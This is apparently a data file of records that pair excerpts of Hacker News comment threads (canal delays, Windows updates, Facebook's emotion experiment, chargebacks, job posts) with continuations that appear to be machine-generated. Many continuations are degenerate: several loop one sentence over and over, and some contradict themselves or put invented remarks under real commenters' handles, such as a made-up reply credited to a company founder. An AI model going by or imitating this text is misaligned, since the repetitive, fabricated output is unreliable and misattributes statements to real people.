expanding the team to deliver best in market software to help site\nowners better educate and up-skill their user base, through contextual in-app\nguidance.\n\nYou work will be viewed by teams at companies like Dell, Staples, AdRoll and\nhundreds more whose usage is among the 100M+ page views with our embeddable\ninstalled on each month.\n\n== The role ==\n\nYou will be responsible for our backend dashboard. This is the app our\ncustomers use to create content, view advanced and insightful reporting and\nsmart suggestions (which will aim to help them improve their product with data\ndriven decisions), manage settings, and a bunch of other tasks"} +{"output_text": " to\nget it.\n\n~~~\nbserge\nI'm not sure if it's the new UI or the new backend, but it's definitely\nslower.\n\n------\njoshstrange\nI'm not sure if this is a good thing or not, but I'm glad to see that they\nhave a mobile app. I've been using the mobile site for a while now and it's\nbeen a bit of a pain. I'm not sure if it's", "input_text": "\netc.\n\n------\nretpirato\nThe fact that Reddit is an echo-chamber is one reason I never joined, & never\nwill, but there are some communities that would be useful like the android &\nkustom subreddits, the former of which already exists on Lemmy. I'm only\nholding off with Lemmy because they don't (yet at least) have a privacy\npolicy, which to me is essential especially considering the nature of the\nsite. The fact that they didn't at least put up some sort of template of a\nprivacy policy before the site was ever available to the public when that's a\ncommon part of any site that provides accounts, as a way of informing you how\nthey will handle the data you give them, is very troubling to me.\n\n------\nbenbristow\nLooks nice. Really fast webapp too.\n\nCongrats team! Looking forward to tracking this project's development.\n\n~~~\nvinay427\nYou're not kidding. This webapp is so fast (after the initial load) that I\ngenuinely wouldn't be surprised if the Reddit mobile website intentionally\nadds sleeps/delays as some have jokingly suspected in the past. On this site,\nI can actually scroll through posts or collapse comment threads without\nwondering if my touch input and/or browser are frozen.\n\n~~~\nbserge\nNew Reddit doesn't need sleep/delays, it's already slow as molasses heh.\n\nIf not for old.reddit.com, my time on Reddit would've gone way down :/\n\n~~~\ntakeda\nMy understanding was that s/he was referring to the new UI. Actually Reddit\nmakes it hard to be on the old interface, I have to use browser extension"} +{"output_text": "en.wikipedia.org/wiki/Panama_Canal_Railway#2001_reconstruction)\n\n~~~\nim3w1l\nI guess that's a lot of trucks.\n\n------\njessaustin\nI wonder if the Panama Canal is a good example of the \"tragedy of the\ncommons\".\n\n~~~\njessaustin\nI guess I should have said \"tragedy of the commons in the sense of the\n", "input_text": " storms, excellent ship\n> repair teams, cheap fuel from its own refinery and, most important,\n> proximity to Asian ports that might eventually have cargo to ship.\n\n------\ngrecy\nIf you ever get the change, I highly recommend a visit to the canal. The scale\nis hard to comprehend. Watching container ships pass through is super\nsatisfying from an engineering perspective.\n\nMy visit: [http://theroadchoseme.com/the-panama-\ncanal](http://theroadchoseme.com/the-panama-canal)\n\n------\nkylelibra\nIf you are wondering why:\n\n\"A statement provided to us Friday from the Panama Canal Authority said that a\nhigh level of arrivals during the last in September coincided with schedule\ndry-chamber maintenance.\"\n\n~~~\nthrowaway_exer\nScheduled with who? Obviously not their clients, the shipping companies.\n\nKind of like ebay not considering their 2-hour Sunday \"planned maintenance\nevents\" to be outages... for 2 decades.\n\n~~~\nhelper\nWhat are the shipping companies going to do, use the Nicaragua Canal?\n\n~~~\nim3w1l\nDock ships on both sides of land. Truck goods from one ship to the other. Or\nmaybe that would also be too expensive?\n\n~~~\nzrail\nThere's a railroad. It can carry about 1,500 containers a day[1]. There are\napproximately 175,000 containers waiting to transit the canal, based on the\n33,500 figure in the linked Wiki page and the 5 day wait.\n\n[1]:\n[https://en.wikipedia.org/wiki/Panama_Canal_Railway#2001_reco...](https://"} +{"output_text": "to the HStore paper.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe article says that the deterministic system is faster, but it's not clear\nto me why.\n\n~~~\nbtilly\nThe point is that the deterministic system is more deterministic.\n\nThe article says that the deterministic system is faster, but it's not clear\nto me why.\n\n~~~\njoshu\nI don't understand", "input_text": "\n\n------\nprodigal_erik\nThis sounds a lot like optimistic vs. pessimistic concurrency control, but\nover the set of _all_ transactions in flight. You proceed assuming none of\nthem are going to fail, but if any of them do, you're really screwed--you have\nto abort all of them and roll back to the last valid state to accept any more.\nStill, if we can stop rolling our own half-assed transactions over a set of\nfeature-poor data stores, we'll avoid a lot of ugly problems.\n\n~~~\nbtilly\nIf I read the article correctly, one requirement of their system is that\ntransactions have to be defined in such a way that all transactions succeed\nfor some definition of success.\n\n------\nrichchan\nThe idea does sound interesting - so it looks like they are trying to reduce\nthe amount of network handshaking by imposing a stricter isolation.\n\nI am not sure I am convinced by their results though. They say their\ndeterministic system seems viable when comparing its performance to\ntraditional systems under short in-memory transactions. That is a special case\nthat is clearly in their favor though. In that situation, the amount of time\nspent in processing data is greatly reduced so the network overhead becomes\nmuch more significant - so the system that does less network communications\nwill obviously win...\n\nI guess it may potentially be good for in-memory database systems for stuff\nlike OLTP apps (e.g. VoltDB and TimesTen), but then I think most OLTP apps are\nokay with a more relaxed isolation...\n\n~~~\nora600\nDaniel Abadi is one of the authors of the HStore paper that VoltDB is based\non. It looks like the deterministic order system is using similar requirements\n"} +{"output_text": " the filesystem.\n\n~~~\nSylos\nI don't know, but I think it's a good idea to make it possible to create new\nfiles, but not to modify existing ones.\n\n------\njedberg\nI'm not sure if this is a good idea or not.\n\nI'm a big fan of the idea of having a \"safe\" mode where you can't do anything\nthat might break the system.\n\nBut I think it's a", "input_text": "automatically doing anything and let me choose to do it myself. Be more like\nLinux.\n\n~~~\nTijdreiziger\nThis doesn't work for a majority of Windows users, because when given the\nchoice, they will never reboot.\n\n~~~\nulkesh\nWhich is how it should be.\n\nMicrosoft should design their OS to not require reboots for updates. The only\ntime I ever have to reboot my Linux box is for a kernel update \u2014 that\u2019s it.\n\n------\nhokkos\nWindows has a new feature called \"Controlled Folder Access\", it is a security\nmecanism that protect from ransomware. It is a great idea, but the\nimplementation is annoying. It block write access to selected directories, so\nlot of software fail to add a link to the desktop, or add files in the\nDocuments folder. It should have protect agains delete not new file creation.\nAlso the default Defender antivirus is so slow, it make the installation of\nsoftware package 2 or 3 slower.\n\n[https://www.bleepingcomputer.com/news/microsoft/windows-10s-...](https://www.bleepingcomputer.com/news/microsoft/windows-10s-controlled-\nfolder-access-anti-ransomware-feature-is-now-live/)\n\n~~~\nemodendroket\nTo protect from ransomware you need to at least prevent modification of\nexisting files.\n\n~~~\nSylos\nWhich he did not argue against. He said that creating new files should still\nbe possible.\n\n~~~\nemodendroket\nWell he only mentions delete. Do the Windows permissions actually make a\nmeaningful distinction between create and modify? I think that might have been\ndifficult to do without completely rewriting"} +{"output_text": " were communicating with each other.\"\n\n~~~\nKlathmon\nI'm not sure what you're trying to say.\n\nYouTube comments are a problem that has been solved.\n\nYouTube comments are a problem that has been solved by humans.\n\nYouTube comments are a problem that has been solved by humans.\n\nYouTube comments are a problem that has been solved by humans.\n\nYouTube comments are a problem that has been solved by humans.\n\n", "input_text": " joining. In previous\ndeployments of this system, potential recruits have clicked through on the ads\nat an unusually high rate, and watched over half a million minutes of video\ncontent that debunks terrorist recruiting messages,\u201d says Walker.\"\n\nDoes them performing this kind of intentional manipulation, and having such\nsuccess, scare the shit out of anyone else?\n\n------\npawadu\nHow about employing real people this time, google?\n\nYour previous efforts to police crafty humanss using AI has utterly failed.\nJust look at adsense and play store.\n\n~~~\nKlathmon\nThere is something like a decade of video uploaded to YouTube every day.\n\nEven if you employed entire countries you still wouldn't stand a chance at\nreviewing it all.\n\nAutomated systems are the only way it can function at all.\n\n~~~\npawadu\n> Automated systems are the only way it can function at all.\n\nNot in its current form. Google with all its might hasn't even managed to\nremove those \"work from home for $$$\" youtube comments.\n\nGoogle doesn't have a good way to incorporate human intelligence (users) into\nits AI. Pure AI has no chance against an army of highly adaptable humans.\n\n \n\nThe whale internet: communication over hundreds of miles - chadmalik\nhttp://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2010/07/11/SP781EBM1P.DTL&type=living\n\"What's really incredible is how all these whales showed up overnight,\" Black noted in an e-mail. \"We do know that blue whales have long-range communication. Their low-range frequency calls can travel hundreds of miles through the oceans. So it seems likely that the whales"} +{"output_text": " on the other. The student would be able to see the tutor's screen and vice versa. The student would be able to see the tutor's screen and vice versa. The student would be able to see the tutor's screen and vice versa. The student would be able to see the tutor's screen and vice versa. The student would be able to see the tutor's screen and vice versa. The student would be able to see the tutor's screen and vice versa. The student would be able to", "input_text": " it seems to me this one is not installed...

Can I make this move, as I need more resources for my site? Thank you for advance.\n======\ntmaly\nI use both, but if your a non-server guy, your going to have a learning curve\nif you want to use a VPS.\n\n~~~\nmaxraz\nThank you, Sir!\n\n------\nmaxraz\nI tried already a VPS, it's not for me - too hard. But recently I've heard\nabout managed VPS with free cPanel, that's why I had this idea.\n\n \n\nIdea for the structure of a tutoring site - andrewmech55\n\nI don't have any real coding ability and I certainly don't have time for a side project but I was hoping to get some feedback on an idea of mine:

Upon visiting the site you would be asked to register as a student or as a tutor. Upon registering as a tutor you would select your areas of expertise and take a few diagnostic tests, perhaps pulled from khan academy and other sites. You would be encouraged to buy a low cost usb writing pad to assist you in your teaching, and you would agree to accept no payment for your first 20 or so tutoring sessions. This is because you would be proving your abilities as a tutor to students who had agreed to do sessions with tutors of unproven ability (this would also serve as the free pricing tier). After each session the student would rate the tutor in several categories, allowing them to build up credibility and desirability among the students. Once they are proven the students who would like a more professional experience can submit reasonable payments before their session through stripe or some other simple payment system. The sessions look like a split screen with a video feed of the other person on one side and a virtual paper display"} +{"output_text": "\n\n~~~\njamesgeck0\nI'm not sure why you're being downvoted. The Telegraph article is the source\nof the Phoronix article.\n\n~~~\nsirn\nI'm not downvoting you, I'm just pointing out that the Telegraph article is\nnot the source of the Phoronix article.\n\n------\njamesgeck0\nI'm not sure why this is getting so much attention. It's not", "input_text": " X client\"; \"Linux support\"; suitably vague nouns). Searching\nhelps me resolve these words, to some degree; but I still don't know what this\nthing is (that is not a quotidian HN topic).\n\nI'm sure Lisp implementation articles are similarly opaque to non-initiates.\nBut, um, a little help, please? :)\n\n~~~\njohnswamps\nSteam is sort of like an app-store for games which only ran on Windows for a\nlong time. You buy games on Steam and can then download the games on any\ncomputer you install Steam on. There's a bunch of other stuff such as being\nable to talk to your friends, multiplayer, and keeping track of achievements.\nValve (the creators of Steam) are porting it to Mac and Linux. This is not,\nhowever, sufficient to play all games on Steam, since games from many\ncompanies are on Steam and not all of them are interested in making their\ngames cross-platform. So, in addition, Valve is porting their Source engine,\nwhich powers games such as Counter Strike, Team Fortress 2, Left 4 Dead, and\nPortal to Mac and Linux so that those players will able to play them. They\nwill of course be able to play any other games on Steam that are class-\nplatform.\n\n------\nsirn\nPhoronix's source seems to be from the Telegraph.co.uk's article[1]. While I\ndon't doubt Valve will release Steam for Linux, I'd wait for the slightly more\nofficial statement before declaring it's official.\n\n \n \n [1]: http://www.telegraph.co.uk/technology/apple/7715209/Steam-for-Mac-goes-live.html"} +{"output_text": " a big library. You\ncould go in and out as you pleased. You could read whatever you wanted to\nread.\"\n\nI think this is the most important point. The internet is a library, but it's\nnot a library that you can go in and out of as you please. It's a library that\nyou can only go in and out of if you have a library card.\n\n~~~\njameshart\nI think you're right, but I think the", "input_text": "tea\n> _I usually think the same for vast majority of stuff on HN, i.e. most\n> articles could be cut down to one or two paragraphs with little value lost,_\n\nMaybe life too.\n\nInstead of going through this whole redundant process of living through it, we\ncould just be given some 10 word summary, like e.g.:\n\n\"There was some fun, some sadness, a few regrets, a couple profound\nexperiences, a lot of boredom, quite some pain, mostly ok, and then you died\".\n\n~~~\nRivieraKid\nThat analogy doesn't make much sense...\n\n~~~\ncoldtea\nHere's another way to put it:\n\n\"I have heard many People say, 'Give me the Ideas. It is no matter what Words\nyou put them into.' To this I reply, Ideas cannot be Given but in their\nminutely Appropriate Words.\"\n\n\\- William Blake\n\n~~~\nRivieraKid\nOh ok, I get the point... But for a lot of articles it seems that 90% of the\nvalue can be conveyed with 10% of the length, so I usually just quickly skim\nit - unless it's the type of text where the value is in the experience of\nreading and not information (stories, poems,...).\n\n~~~\ncoldtea\nI guess that can be true for technical articles the most (e.g. just get to the\ninstructions, numbers, results etc), but probably not as easily for things\nlike this Fry post.\n\n~~~\nRivieraKid\nYeah, that was my point, that this desn't apply for Fry's writing.\n\n------\nalva\n\"The internet, as opposed to AOL and the others, was like"} +{"output_text": " at\n[http://blog.booking.com/en/category/engineering/](http://blog.booking.com/en/category/engineering/)\n\n------\njoshu\nSan Francisco, CA - Full Time - ONSITE\n\nWe're looking for a senior front-end engineer to join our team.\n\nWe're a small team of engineers and designers who are building a new kind of\nsocial network. We're looking for someone who is comfortable with", "input_text": "w](https://boards.greenhouse.io/gusto/jobs/188188#.WJJynrYrLAw)\nor email me directly.\n\nInterview process: 1 technical phone screen (1 hour over Coderpad), and 1\nonsite interview (~4.5 hours of interviews + pair programming)\n\n------\nsid6376\nBooking.com - Amsterdam(Netherlands), Shanghai (China), Seattle, WA (USA),\nONSITE Full-time, relocation to Amsterdam, (H1B or its dutch equivalent\nanyway) is taken care of by the company.\n\nGeneral Interview Process -> Hackerrank test, call with the recruiter, phone\ninterview, onsite interviews\n\nI work at Booking.com, which is a world leader in travel accommodations, as a\nbackend developer. I have only positive things to say about working here. The\npeople are intelligent and helpful, interesting problems to solve and the work\nhours are unbelievably sane. The company is strongly data driven and very\ndynamic, which was one of its biggest charms for me. Amsterdam is not a bad\nplace to be either :) The Dutch government also gives a tax break through the\n30% ruling to non-dutch people.The work environment is very international and\neverybody speaks fluent English. The relocation process is also very finely\ntuned through years of experience of doing this.\n\nIf you have any other questions about the company or the hiring process or you\nwould like me to refer you, please feel free to send me an email at\nsiddharthsarda01 at gmail.com (Email also in my profile at Hacker news). To\nhave an idea of the kind of problems being solved here, you can also look at\nour dev blog"} +{"output_text": "\n------\njedberg\nI'm not sure how this is different than the \"code intelligence\" that\nSourcegraph has been doing for a while now.\n\n~~~\nsqs\nSourcegraph founder here. We're building on top of the same code intelligence\nprimitives that GitHub is using, but we're building it for all of the\nlanguages and repositories out there.\n\nSourcegraph is a code intelligence platform that lets you search, navigate,\nand explore code", "input_text": " a timeline-style view of the\n> results, so you can skip to the most impactful parts of a pull request.\n\nIt would be awesome to hear a timeline for rolling this out to more languages,\nespecially Python.\n\n------\nbcherny\nI wonder how the Souregraph guys feel about Github getting into their\nterritory..\n\n~~~\nsqs\nSourcegraph founder here. We love it. The more developers who are using code\nintelligence in their tools, the better the language support will be for all\nthe various languages and repositories out there. That's good for developers\neverywhere, and we (Sourcegraph) could never build it all alone.\n\nOur master plan at\n[https://sourcegraph.com/plan](https://sourcegraph.com/plan) describes what\nwe're building on top of these basic \"code intelligence\" primitives, to help\ndevelopers in all of their dev tools (not just GitHub), in all of their\nworkflow, and in companies that have lots of code. And just like GitHub, we\nlet people use these things for free on open-source so they can see how useful\nthey are.\n\n------\npetetnt\nNice addition!\n\nIf anyone at GitHub is reading this, the dropdown cannot be keyboard navigated\nbecause the dropdown doesn't scroll with the focus.\n\n------\npmoriarty\nCan magit do this for code outside of github?\n\n~~~\ncosmicexplorer\nActually not sure how to do this with magit, but I just tried `vc-region-\nhistory' while highlighting an R method signature and body and got a pretty\nslick view of all the relevant commits. Would definitely prefer magit for\njumping to commits, might take a few lines of elisp.\n"} +{"output_text": " are about the right to control the use of a work, not about the\nright to control the use of information.\n\n\"If you want to use the articles for commercial purposes, you have to pay\nJSTOR.\"\n\n...and if I want to use the articles for commercial purposes, I have to pay\nJSTOR.\n\n\"If you want to use the articles for non-academic purposes, you have to pay\nJSTOR.\"\n\n", "input_text": ", then the law itself is what\nis wrong.\n\n\"behaving like a reasonable person\"\n\nHow conservative of you. I hear there are some lovely caves that people used\nto live in, until some unreasonable person had a \"better\" idea (I wonder if\nyou would have made an argument for punishing him -- after all, not living in\ncaves might disrupt the social order).\n\n\"If I let you come apple picking in my orchard, you can't bring in a fruit\ntruck and some day laborers and strip the trees bare.\"\n\nYou are comparing apples to universal Turing machines. Your comparison is\nactually that bad -- you might as well be talking about the superbowl than\nAaron Swartz.\n\nAaron did not strip anyone or anything. He prevented nobody else from using\nJSTOR, nor did he stop anyone from reading the articles he downloaded, nor\nfrom using the network, nor from using the closet where he hid his laptop. _He\ncaused no measurable damage to anyone or anyone's property_ at any point in\nthe JSTOR incident.\n\n\"If JSTOR gives you permission to access journal articles for academic\npurposes...\"\n\n...then I should be free to use those articles for any purpose, because JSTOR\nhas no claim to them or to the knowledge they contain. What gives JSTOR the\n_moral right_ to tell anyone what they are allowed to do with the articles\nJSTOR provides to them? Sure, we have this thing called copyright that emerged\nfrom British attempts to censor books in the age of printing presses (I wonder\nif the Chinese firewall will lead to the creation of a similar law), but\ncopyrights are in no way related to modern senses of morality or justice --\ncopyrights"} +{"output_text": " Who Don't Pay Their Bill\n\n[http://www.wired.com/threatlevel/2011/08/comcast-\nchargeback...](http://www.wired.com/threatlevel/2011/08/comcast-chargeback-\nscam/)\n\n~~~\nmario1900\nWe are not asking for their permission to harass/spam/threaten the merchants.\nWe are asking for their permission to help them resolve their chargebacks.\n", "input_text": " we charge merchants\nto access additional tools like exit surveys, the ability to configure\nquestions on chargebacks for their business. Also we're working on a set of\ntools to help merchants reduce chargebacks in general - like domains to put on\ncredit card receipts, that type of thing.\n\nThe value is that each chargeback is a lead to a business with a chargeback\nproblem :)\n\n------\nwilfra\nThis is the online equivalent of \"protection\" money the mafia asks for when\nthey say they're going to burn down your store if you don't pay them.\n\nI applaud making it easier for people to file chargebacks but shame on your\nbusiness model.\n\nEdit: after reading the explanation given below perhaps the business model is\nnot as bad as it first seems - if that's the case, you need to make it more\nclear! It looks like you are encouraging people to file chargebacks and then\nshaking down the merchants for money with the threat of the chargeback getting\nfiled if they don't pay you.\n\n~~~\nmario1900\nMaybe using the word \"protection\" on the business page was a bad idea.\nMerchants don't need to pay us to resolve chargebacks. We just try to make\ntheir services better in the future through premium data services. Please see\nthis comment \n\n~~~\nwilfra\nyou're also not being honest with your users. you're not actually filing\nchargebacks on their behalf, at least not at first. you're asking for their\npermission to harass/spam/threaten the merchants they have a problem with -\nthen filing a chargeback if you don't get what you want.\n\n \nComcast Is Threatening to Cut Off Customers"} +{"output_text": " are in AI.\n\n------\nmatt_the_bass\nI\u2019m not sure I agree with the premise that the US Navy was not prepared for\nthe war. The US Navy was the most prepared navy in the world.\n\nThe US Navy was the only navy that had a submarine force. The US Navy was the\nonly navy that had a fleet of aircraft carriers. The US Navy was the only\nnavy that had a fleet of battleships. The US", "input_text": "Damn, for me any person who deals with any kind of unexploded ordnance is (as\nwell) a hero.\n\n------\nbrazzy\nPrevious HN discussion about a different article (focusing on politics and\nvery superficial concerning the actual problems) about the same subject:\n[https://news.ycombinator.com/item?id=20665422](https://news.ycombinator.com/item?id=20665422)\n\n------\ngadders\nIf you're fans of alternative history fiction, the Destroyermen [1] series\ntouches on the torpedo issues as well.\n\n[1]\n[https://en.wikipedia.org/wiki/Destroyermen](https://en.wikipedia.org/wiki/Destroyermen)\n\n------\nrshnotsecure\nIt\u2019s very likely that the torpedoes did not work for the whole war really. It\nsometimes is scary to think about all the complaints sub commanders put in,\nonly to be dismissed by the Department of the Navy as excuses for bad\nleadership or tactics. I get that you have to take this line sometimes but\nstill...\n\nThat being said it should be noted US Naval strategy has never particularly\nrelied on subs or been that great at it.\n\nThis has always fallen to the Eurasian powers such as Germany, Russia, and\nChina/Japan.\n\nNothing has been downed by a torpedo in actual combat for the last 75 years,\nso realize that there are so many unknowns today in submarine warfare that you\ndon\u2019t see in say land warfare. That being said it looks like Underwater\nUnmanned Autonamous Drones is where sub warfare is heading. Supposedly China\nis way ahead of the pack here much like they"} +{"output_text": "pn.net, or the various openvpn-apps.\n\n~~~\nxyrouter\nI am not sure if I understand you correctly. I am not talking about VPNs. I\nam talking about blocking websites on my phone.\n\n~~~\nmoviuro\nI'm not sure what you mean.\n\n------\njoshstrange\nI'm not sure if this is a bug or a feature but I've noticed that when I\nattempt to visit a site that", "input_text": ".net\n 0.0.0.0 tpc.googlesyndication.com\n \n \n\nTo login to a google service such as gmail or enable captcha, comment out the\nthree (*.)gstatic domains.\n\n~~~\nmito88\nnice!\n\n------\nxyrouter\nI can block domains on my laptop, no problem. But I have not been able to\nfigure out any convenient way to block websites on my Android phone. My\nAndroid phone comes with a Chrome browser. Any ideas about how to block\nwebsites reliably on an unrooted/jail-not-broken Android phone?\n\n~~~\nbronco21016\nBlock at DNS level on a device (router or DNS server) and proxy all Android\ntraffic to said device.\n\nI use a pfsense router running OpenVPN and pfblockerNG. PfblockerNG sinkholes\nall DNS requests to domains from a list such as this one. Then by using\nOpenVPN I simultaneously encrypt my connection when roaming remotely and I can\nspecify to use my home DNS server to sinkhole ad/tracking domains.\n\n~~~\nxyrouter\nThanks for the suggestion. I think this will work fine in a home network that\nI can control. But this is not going to work when I am traveling and using my\ncarrier's 4G network. Am I right? Is there any nifty solution to address the\nlater?\n\nI am a little disappointed that I can't do something as simple as install\nplugins for my phone browser that can block sites.\n\n~~~\nmoviuro\n> But this is not going to work when I am traveling and using my carrier's 4G\n> network.\n\nThat's what VPNs are for. See openv"} +{"output_text": "\nother social network works.\n\n~~~\njrockway\n_Every single time Facebook changes anything on their site it \"manipulates\nusers' emotions\". Show more content from their friends? Show less? Show more\nfrom some friends? Show one type of content more, another less? Change the\nfont? Enlarge/shrink thumbnail images? All these things affect users on all\nlevels, including emotionally, and Facebook does such changes every day._\n\nI don", "input_text": " is attempting to\nsway user behaviour toward purchasing or some other goal which is usually\nobvious to the user.\n\nWith this experiment, Facebook are modifying the news feeds of their users\nspecifically to affect their emotions, and then measure impact of that\nemotional change. The intention is to modify the feelings of users on the\nsystem, some negatively, some positively.\n\nIntentional messing with human moods like this purely for experimentation is\nthe reason why ethics committees exist at research organisations, and why\ninformed consent is required from participants in experiments.\n\nInformed consent in this case could have involved popping up a dialog to all\nusers who were to be involved in the experiment, informing them that the\npresentation of information in Facebook would be changed in a way that might\naffect their emotions or mood. That is what you would expect of doctors and\nresearchers when dealing with substances or activities that could adversely\naffects people's moods. We should expect no less from pervasive social\nnetworks like Facebook.\n\n------\nazakai\nOh, please.\n\nEvery single time Facebook changes anything on their site it \"manipulates\nusers' emotions\". Show more content from their friends? Show less? Show more\nfrom some friends? Show one type of content more, another less? Change the\nfont? Enlarge/shrink thumbnail images? All these things affect users on all\nlevels, including emotionally, and Facebook does such changes every day.\n\nTalking about \"informed consent\" in the context of a \"psychological\nexperiment\" here is bizarre. The \"subjects\" of the \"experiment\" here are users\nof Facebook. They decided to use Facebook, and Facebook tweaks the content it\nshows them every single day. They expect that. That is how Facebook and every"} +{"output_text": " \"So smart\nthey can't help but be a jerk\".\n\n~~~\nmajos\nI think that's a fair point. I think the appeal of smart jerk god characters\nis that they're not just smart, they're also _bad_. They're not just\nintelligent, they're also _evil_.\n\n------\njames_s_tayler\nI'm not sure if this is a joke or not.\n\n~~~\njames_s_", "input_text": "~~~\nbillpg\nIf you use Windows, [Logo]+[.]\n\n~~~\nwongarsu\nThat's a neat trick. It even has kaomoji and useful symbols \u2570( _\u00b0\u25bd\u00b0_ )\u256f\n\n~~~\nAvamander\nThis sounds like the modern version of this\n[http://bash.org/?835030](http://bash.org/?835030) quote.\n\n------\nmarkandrewj\nGhost in the shell...\n\n------\nhuxflux\nThis made my day!\n\n \nThe myth of \u2018mad\u2019 genius - baddash\nhttps://aeon.co/essays/is-there-any-evidence-linking-creativity-and-mood-disorders\n======\ncommandlinefan\nI've always wondered if a lot of \"eccentric\" people aren't just behaving the\nway everybody would naturally behave if they could get away with it. I say and\ndo a lot of things because I have to if I want to have food to eat and a place\nto sleep, but I'll never know how different my behavior _might_ have been if I\nwere rich enough or brilliant enough that people would just put up with\nwhatever I happened to feel like doing at any given moment.\n\n~~~\nmajos\nOn a related note, I think this idea explains the appeal of smart jerk god\ncharacters (Doctor Who, Doctor House, Rick Sanchez, Sherlock Holmes...) to a\nsizeable portion of nerds (including me). \"So smart they can't help but need\nyou\" is not a healthy goal, but damn if it isn't seductive.\n\n~~~\nNtrails\nTo me it's not so much \"So smart they can't help but need you\", as"} +{"output_text": " is a great service for this.\n\n------\nmattm\nI've been using Xoom for a while now and it's been great.\n\n", "input_text": " support by this.\nThe options of the responses seem negative to the ppl behind the fork\n\n~~~\nnailer\nIs 'you' Rod, Max or the people behind the fork? Having trouble parsing your\ncomment.\n\n Ask HN: How to handle Payroll for remote \u201cemployees\u201d payroll outside the U.S.? - hichamin\n======\nraooll\nI work as a remote employee for a us based startup out of India. I raise and\ninvoice every month corresponding to the salary account.\n\nFor all legal purposes, I'm a consultant to the company.\n\n------\nthisone\nevery time I've looked at remote (out of country) work, it was always as a\ncontractor/consultant. Never as a true employee. That way the company pays an\ninvoice, the contractor handles all their own taxes.\n\nTreating your \"foreign\" remote workforce as employees I imagine will land you\nin some tricky international waters much better suited for your accountant,\ntax attorney, and your general business lawyer.\n\n------\nbusymichael\nAll of my remote contractors invoice me weekly. We just use a shared google\nspreadsheet that track times on one tab and sums it on another by week.\n\nI actually handle payments via xoom.com -- it is now owned by paypal. It takes\na little work to setup a new payee, but once you have paid a person once, you\ncan pay them again very easily.\n\n------\ngt2\nIf they are US citizens then whichever way you would pay the non-remote\nprobably. If they aren't, then they will tell you which is best for their\nsituation/country according to what's available there and the lowest fees.\n\n------\nhemantv\nWww.rippling.com"} +{"output_text": "What's the price? \\- What's the refund policy? \\- What's the refund policy?\n\n~~~\nBentleyDavis\nThanks for the feedback.\n\n\\- I agree that the page is cluttered. I'll try to simplify it.\n\n\\- I agree that the feature and incentive should be in the center. I'll try to\nmake it more prominent.\n\n\\- I agree that the wait time and what they get after that should be in the\ncenter.", "input_text": "...\n\n \n \n Kaplan and his co-founder chief technology officer Mark Kuhr\n previously worked at the National Security Agency as senior\n analysts\n \n\nYes, that little fact is going to follow them around for life. It also puts\nthis quote into an ironic light:\n\n \n \n \u201cWe call them security researchers, but ultimately they\u2019re \n \u2018white hat\u2019 hackers,\u201d says Kaplan. \u201dThey\u2019re hacking for good.\u201d\n \n\nThis company does not clearly state what their relationship is with western\nintelligence agencies. Not even as much as a hint of an ethics statement or\ninformation about how long they hold disclosure or how this is handled. One\nshould assume that 'white hat' for them and 'hacking for good' may mean the\nexact opposite. With that I'm a little surprised the irony of Google Ventures\nmoney being used for this is not highlighted more. Google complains along with\nothers about the destabilisation of the tech industry at the NSA hands and yet\nfunds a company that may very well help with that?\n\n------\nkoomar\ncongrats!\n\n \n\nAsk HN: Review my coming soon page, SettleIt.org - BentleyDavis\n\n\n======\nlaurabw\nHey, I have some thoughts for you: \\- it's a bit cluttered. People don't have\ntime to read through all the stuff to understand what the page is about. I'd\nmake it simpler with a couple of graphics. \\- If your goal is to sign up\ncustomers, you should highlight the feature and put it in the center. Also,\nwhat's the incentive for people to sign up? Give them something to be excited\nabout. \\- How long will they have to wait and what do they get after that? \\-\n"} +{"output_text": "-school plain-text email in the encrypted\nmessage.\n\n------\njoshu\nI'm not sure I understand the privacy policy.\n\n\"We will not sell, rent, or give away your email address to anyone.\"\n\nI don't understand why you would not do that.\n\n~~~\nevandavid\nWe don't want to be the next Facebook. We want to be the next Google. We want\nto be the next Twitter. We want", "input_text": " it all meant absolutely nothing.\n\nThis isn't really blogging, it's journaling. Writing a diary is supposed to be\ntherapeutic because you're writing down the things you dare not talk about\nwith others (maybe not even your SO). It's not about what you do, it's about\nhow you feel.\n\nThat's why I would like to see encryption mentioned somewhere, and pushed\nhard. I wrote one entry to see how it works, but I'm going to disable the\nnotifications until I know that my personal outpourings are not actually being\nread by others.\n\n------\nsgupta\nHey HN - we made this in our spare time, just because it was something we\nwanted to use. When we told some friends about the idea though they wanted to\nuse it too, so we decided to release it. Many thanks for checking it out.\n\n~~~\nevandavid\nI love the idea. Love it. Like, really excited. However, I'm not prepared to\nuse a service like this in a hosted environment. Too many risks: you go out of\nbusiness, security, privacy, etc. Plus the information just feels to personal\nto be sitting on someone else's server. I would love to see a quick daily\nprompt like this added to Macjournal or similar software.\n\n~~~\nevandavid\nThat said, I'm sure there is a target market out there who will be more than\nwilling to use the product in its current format. I'm looking forward to\nseeing where this idea goes.\n\n------\npesco\nAccept PGP-encrypted mail seamlessly and you won't need a privacy policy\nexcept for those who like throwing their lifelog at random strangers. Be sure\nto use PGP/MIME to include the old"} +{"output_text": " have a chance to get in\nfront of people that are not recruiters.\n\nI am not a recruiter, I am a developer. I am not looking for a job, I am\nlooking for a developer. I am not looking for a job in a specific country, I\nam looking for a developer. I am not looking for a job in a specific\ntechnology, I am looking for a developer. I am not looking for a job in a\nspecific company, I", "input_text": "Readme to state why you made it and what problem it solved or what you learned\nfrom it.\n\n~~~\nsmartsystems\nThere are four slides. It takes 10 seconds to look through the entire thing.\nIf you can't make it past the second slide before writing a three paragraph\ncritique you are 100% not in my target audience. Not that there is no validity\nin your opinion somewhere but I'm not sure if you understand the point of the\nthing.\n\n~~~\nbastijn\nI looked at your project with my work hat on, I replied to this thread with a\nthree paragraph reply with my HN community hat on.\n\nI clicked through once more for you to find your github in slide 4. My comment\nstays the same, there is nothing in there that helps me select you over people\nthat present their content in an easier to consume format.\n\nOn the content. In some countries pictures must be able to blacked out by law\n(I don't agree, yet it is truth). Your experience bullets do not say what you\nactually did. Would add where your worked and some 1-2 lines description per\nbullet on what you made/did there. If you were freelancing add your clients.\nIt helps us understand what size of companies/codebases you worked. What\ncomplexity etc. Your word cloud is indeed hard to decipher. Slide 4 I saw\ngithub, which is good.\n\nThe title says online resume. I assume the audience is recruitment. Recruiters\ntake seconds to scan if they want to spend minutes. In addition most\nrecruiters will not forward this to people like me to see if they like to\ninvite. If that means we are not your audience your resume works. Be aware you\nare limiting your own options as you now no longer"} +{"output_text": "for his _The Death of the Ball_ , is a master of this.\n\n------\njameshart\nI'm not sure I'd call her a \"writer\" in the traditional sense. She's a\njournalist, and her writing is more like a collection of journal 